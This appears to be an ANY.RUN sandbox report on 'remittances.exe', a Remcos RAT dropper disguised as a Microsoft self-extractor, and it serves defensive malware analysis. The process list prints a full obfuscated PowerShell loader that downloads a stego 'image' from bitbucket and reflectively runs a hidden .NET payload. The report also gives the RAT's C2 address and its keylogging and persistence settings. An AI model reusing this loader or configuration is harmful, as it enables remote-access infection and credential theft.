File name:

remittances.exe

Full analysis: https://app.any.run/tasks/639bc233-18ea-40c0-98bc-5023fbc5afe3
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: August 22, 2024, 15:50:43
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
stegocampaign
loader
susp-powershell
rat
remcos
remote
evasion
stealer
keylogger
mpress
Indicators:
MIME: application/x-dosexec
File info: PE32+ executable (GUI) x86-64, for MS Windows
MD5:

CA811679ED43268456B3E323CAE3ED70

SHA1:

C0056591460DFF8C5A163F6CE0EC7B22D469A4CB

SHA256:

AD2D7654AB36D32F4C07992D995163624DF810591A8A62A5BB6708A491734F98

SSDEEP:

6144:9dyr95MfxewjwVDBI2LnT25qndIjjVV7K:9dyr96f0wjwVlpLnT25qndIPVVG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 7060)
      • powershell.exe (PID: 7112)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 3180)
      • powershell.exe (PID: 7112)

    • Stego campaign: powershell loader has been detected

      • powershell.exe (PID: 3180)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3180)
      • powershell.exe (PID: 7112)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 3180)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 3180)

    • REMCOS has been detected (SURICATA)

      • MSBuild.exe (PID: 5048)

    • Steals credentials from Web Browsers

      • MSBuild.exe (PID: 6028)

    • Scans artifacts that could help determine the target

      • MSBuild.exe (PID: 6396)

    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 7072)
      • MSBuild.exe (PID: 6396)
      • MSBuild.exe (PID: 6028)

    • Uses NirSoft utilities to collect credentials

      • MSBuild.exe (PID: 6028)

    • REMCOS has been detected (YARA)

      • MSBuild.exe (PID: 5048)

    • REMCOS has been detected

      • MSBuild.exe (PID: 5048)

    • Stego campaign has been detected

      • powershell.exe (PID: 7112)

  • SUSPICIOUS

    • Drops the executable file immediately after the start

      • remittances.exe (PID: 6936)
      • MSBuild.exe (PID: 5048)
      • word.exe (PID: 420)

    • Process drops legitimate windows executable

      • remittances.exe (PID: 6936)

    • Starts CMD.EXE for commands execution

      • remittances.exe (PID: 6936)

    • Starts a Microsoft application from unusual location

      • remittances.exe (PID: 6936)

    • The process executes VB scripts

      • cmd.exe (PID: 6980)

    • Accesses computer name via WMI (SCRIPT)

      • wscript.exe (PID: 7060)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7060)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 7060)
      • powershell.exe (PID: 7112)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 7060)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7112)
      • powershell.exe (PID: 3180)

    • Application launched itself

      • powershell.exe (PID: 7112)
      • MSBuild.exe (PID: 5048)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 7112)
      • wscript.exe (PID: 7060)

    • Probably download files using WebClient

      • powershell.exe (PID: 7112)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 3180)

    • Checks for external IP

      • MSBuild.exe (PID: 5048)

    • Contacting a server suspected of hosting an CnC

      • MSBuild.exe (PID: 5048)

    • Connects to unusual port

      • MSBuild.exe (PID: 5048)

    • Reads security settings of Internet Explorer

      • MSBuild.exe (PID: 5048)

    • Executable content was dropped or overwritten

      • MSBuild.exe (PID: 5048)
      • word.exe (PID: 420)

    • Reads the date of Windows installation

      • MSBuild.exe (PID: 5048)

    • Creates file in the systems drive root

      • word.exe (PID: 420)

    • The process creates files with name similar to system file names

      • word.exe (PID: 420)

    • There is functionality for taking screenshot (YARA)

      • MSBuild.exe (PID: 5048)

    • Writes files like Keylogger logs

      • MSBuild.exe (PID: 5048)

    • Malware-specific behavior (creating "System.dll" in Temp)

      • word.exe (PID: 420)

  • INFO

    • Checks supported languages

      • remittances.exe (PID: 6936)
      • MSBuild.exe (PID: 5048)
      • MSBuild.exe (PID: 6396)
      • MSBuild.exe (PID: 7072)
      • MSBuild.exe (PID: 6028)
      • MSBuild.exe (PID: 4692)
      • word.exe (PID: 420)

    • Reads the computer name

      • remittances.exe (PID: 6936)
      • MSBuild.exe (PID: 5048)
      • MSBuild.exe (PID: 7072)
      • MSBuild.exe (PID: 6396)
      • MSBuild.exe (PID: 6028)
      • MSBuild.exe (PID: 4692)

    • Create files in a temporary directory

      • remittances.exe (PID: 6936)
      • powershell.exe (PID: 3180)
      • MSBuild.exe (PID: 6028)
      • MSBuild.exe (PID: 7072)
      • MSBuild.exe (PID: 6396)
      • MSBuild.exe (PID: 5048)
      • word.exe (PID: 420)

    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 7112)

    • Disables trace logs

      • powershell.exe (PID: 3180)

    • Checks proxy server information

      • powershell.exe (PID: 3180)
      • MSBuild.exe (PID: 5048)

    • Found Base64 encoded network access via PowerShell (YARA)

      • powershell.exe (PID: 7112)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 7112)

    • Reads the software policy settings

      • powershell.exe (PID: 3180)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 3180)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 7112)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 3180)

    • Reads Environment values

      • MSBuild.exe (PID: 5048)

    • Creates files or folders in the user directory

      • MSBuild.exe (PID: 5048)

    • Reads the machine GUID from the registry

      • MSBuild.exe (PID: 5048)
      • MSBuild.exe (PID: 7072)
      • MSBuild.exe (PID: 6028)

    • Reads Microsoft Office registry keys

      • MSBuild.exe (PID: 6396)

    • Process checks computer location settings

      • MSBuild.exe (PID: 5048)

    • Creates files in the program directory

      • MSBuild.exe (PID: 5048)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 7112)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 7112)

    • Mpress packer has been detected

      • MSBuild.exe (PID: 5048)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Remcos

(PID) Process(5048) MSBuild.exe
C2 (1)111.90.148.123:2404:1111.90.148.123:80:1111.90.148.123:8080:1111.90.148.123:5651
BotnetHST2
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Install_HKLM\Winlogon\Shell100000
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueFalse
Hide_fileFalse
Mutex_nameswasf-IQB1JV
Keylog_flag1
Keylog_path%LOCALAPPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path%ProgramFiles%
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Keylog_dirremcos
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2062:07:25 12:18:00+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.2
CodeSize: 31744
InitializedDataSize: 131584
UninitializedDataSize: -
EntryPoint: 0x8200
OSVersion: 10
ImageVersion: 10
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 11.0.19041.1
ProductVersionNumber: 11.0.19041.1
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Microsoft Corporation
FileDescription: Win32 Cabinet Self-Extractor
FileVersion: 11.00.19041.1 (WinBuild.160101.0800)
InternalName: Wextract
LegalCopyright: © Microsoft Corporation. All rights reserved.
OriginalFileName: WEXTRACT.EXE .MUI
ProductName: Internet Explorer
ProductVersion: 11.00.19041.1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
146
Monitored processes
14
Malicious processes
9
Suspicious processes
1

Behavior graph

Click at the process to see the details
start remittances.exe no specs cmd.exe no specs conhost.exe no specs wscript.exe no specs #STEGOCAMPAIGN powershell.exe no specs conhost.exe no specs #STEGOCAMPAIGN powershell.exe #REMCOS msbuild.exe msbuild.exe msbuild.exe msbuild.exe msbuild.exe no specs msbuild.exe no specs word.exe

Process information

PID
CMD
Path
Indicators
Parent process
420"C:\Users\admin\AppData\Local\Temp\word.exe" C:\Users\admin\AppData\Local\Temp\word.exe
MSBuild.exe
User:
admin
Integrity Level:
MEDIUM
Version:
3.2.0.0
Modules
Images
c:\users\admin\appdata\local\temp\word.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
3180"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.02bg/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'Msbuild', '0'))}}"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
4692C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe—MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
2
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll
5048"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll
Remcos
(PID) Process(5048) MSBuild.exe
C2 (1)111.90.148.123:2404:1111.90.148.123:80:1111.90.148.123:8080:1111.90.148.123:5651
BotnetHST2
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Install_HKLM\Winlogon\Shell100000
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueFalse
Hide_fileFalse
Mutex_nameswasf-IQB1JV
Keylog_flag1
Keylog_path%LOCALAPPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path%ProgramFiles%
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Keylog_dirremcos
6028C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe /stext "C:\Users\admin\AppData\Local\Temp\sehwhwc"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\user32.dll
6396C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe /stext "C:\Users\admin\AppData\Local\Temp\uymhionysq"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\rpcrt4.dll
6432C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe—MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
6936"C:\Users\admin\AppData\Local\Temp\remittances.exe" C:\Users\admin\AppData\Local\Temp\remittances.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Win32 Cabinet Self-Extractor
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\remittances.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
6980cmd.exe /c plk.vbsC:\Windows\System32\cmd.exe—remittances.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
6988\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
26 700
Read events
26 654
Write events
46
Delete events
0

Modification events

(PID) Process:(6980) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids
Operation:writeName:VBSFile
Value:
(PID) Process:(6980) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6980) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6980) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6980) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(7060) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(7060) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(7060) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(7060) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3180) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
Executable files
2
Suspicious files
8
Text files
8
Unknown types
0

Dropped files

PID
Process
Filename
Type
6028MSBuild.exeC:\Users\admin\AppData\Local\Temp\bhv336C.tmp —
MD5:—
SHA256:—
7112powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3byqs2gq.mbk.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6028MSBuild.exeC:\Users\admin\AppData\Local\Temp\sehwhwctext
MD5:73AFEF57A57FF8285682E59AEBA8FE4A
SHA256:9081F636845E9A6B7D781F2F35A28B33B7FDF5373075B435C5B373119D0934A3
420word.exeC:\Users\admin\spherosome\preadoption\preembodiment\Motived.Bjebinary
MD5:09D06FF74381984DBB4607A73DC23228
SHA256:3DD6DC560DA426B32755B8CFABD3D30922069D0DA799CC87A2BC8E1EFD57D61D
420word.exeC:\Users\admin\spherosome\preadoption\preembodiment\Skankebens.ansbinary
MD5:906C52BEDBBED70B5BFBC362478D3784
SHA256:005C018659AAAC011D7ED6C114F3E49411287B19AC7BE710D1ED235D6071D777
420word.exeC:\Users\admin\spherosome\preadoption\preembodiment\Himlede\tilfrte.proabr
MD5:91AB86EFCEF8A954283176E8D1FB277A
SHA256:E402940C699100D4842127012B8389E57040D81630FAECFD5BC226945DF0C724
420word.exeC:\Users\admin\spherosome\preadoption\preembodiment\Himlede\twiddle.unebinary
MD5:F0E68C57B3CC765BCA4535C863FEEFFB
SHA256:85D226BA6ECE9411F59066ACD17B8B0D7EF4C8D6183424C8B1722FDD856B9F30
420word.exeC:\Users\admin\spherosome\preadoption\preembodiment\Himlede\heracleum.txttext
MD5:BE4F612D0B8E53593C17B98A99723CFE
SHA256:CB480FAD6ED5ACE2139EC360E6A4BF19C4ED43E6DFC8378989589FB4AE8D6AC4
420word.exeC:\Users\admin\AppData\Local\Temp\Setup.initext
MD5:B73A171C8DE922AFE4E446EC817FF4B3
SHA256:F8BAA811A75E4E24939FB0D51A61DD0B6F4FE00DBA0171982D2F8FAE26F5A28C
7112powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0mu33eju.nes.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
55
DNS requests
23
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
7032
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
4008
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5048
MSBuild.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
—
—
whitelisted
2928
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
1920
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5880
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
5336
SearchApp.exe
184.86.251.4:443
www.bing.com
Akamai International B.V.
DE
unknown
5336
SearchApp.exe
184.86.251.15:443
www.bing.com
Akamai International B.V.
DE
unknown
5336
SearchApp.exe
184.86.251.14:443
www.bing.com
Akamai International B.V.
DE
unknown
5336
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
5336
SearchApp.exe
20.189.173.7:443
browser.pipe.aria.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
google.com
  • 216.58.206.78
whitelisted
www.bing.com
  • 184.86.251.4
  • 184.86.251.7
  • 184.86.251.24
  • 184.86.251.11
  • 184.86.251.20
  • 184.86.251.27
  • 184.86.251.14
  • 184.86.251.15
  • 184.86.251.30
whitelisted
th.bing.com
  • 184.86.251.15
  • 184.86.251.9
  • 184.86.251.4
  • 184.86.251.30
  • 184.86.251.24
  • 184.86.251.27
  • 184.86.251.14
  • 184.86.251.7
  • 184.86.251.20
whitelisted
r.bing.com
  • 184.86.251.14
  • 184.86.251.9
  • 184.86.251.24
  • 184.86.251.15
  • 184.86.251.20
  • 184.86.251.5
  • 184.86.251.30
  • 184.86.251.7
  • 184.86.251.11
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
browser.pipe.aria.microsoft.com
  • 20.189.173.7
whitelisted
bitbucket.org
  • 185.166.143.49
  • 185.166.143.50
  • 185.166.143.48
shared
bbuseruploads.s3.amazonaws.com
  • 52.216.222.145
  • 3.5.28.186
  • 52.216.214.41
  • 52.216.33.89
  • 3.5.29.19
  • 52.217.163.121
  • 52.217.202.137
  • 52.217.80.4
shared
client.wns.windows.com
  • 40.115.3.253
whitelisted

Threats

PID
Process
Class
Message
5048
MSBuild.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
5048
MSBuild.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
5048
MSBuild.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
5048
MSBuild.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
5048
MSBuild.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
5048
MSBuild.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
5048
MSBuild.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
5048
MSBuild.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
5048
MSBuild.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
5048
MSBuild.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
remittances.exe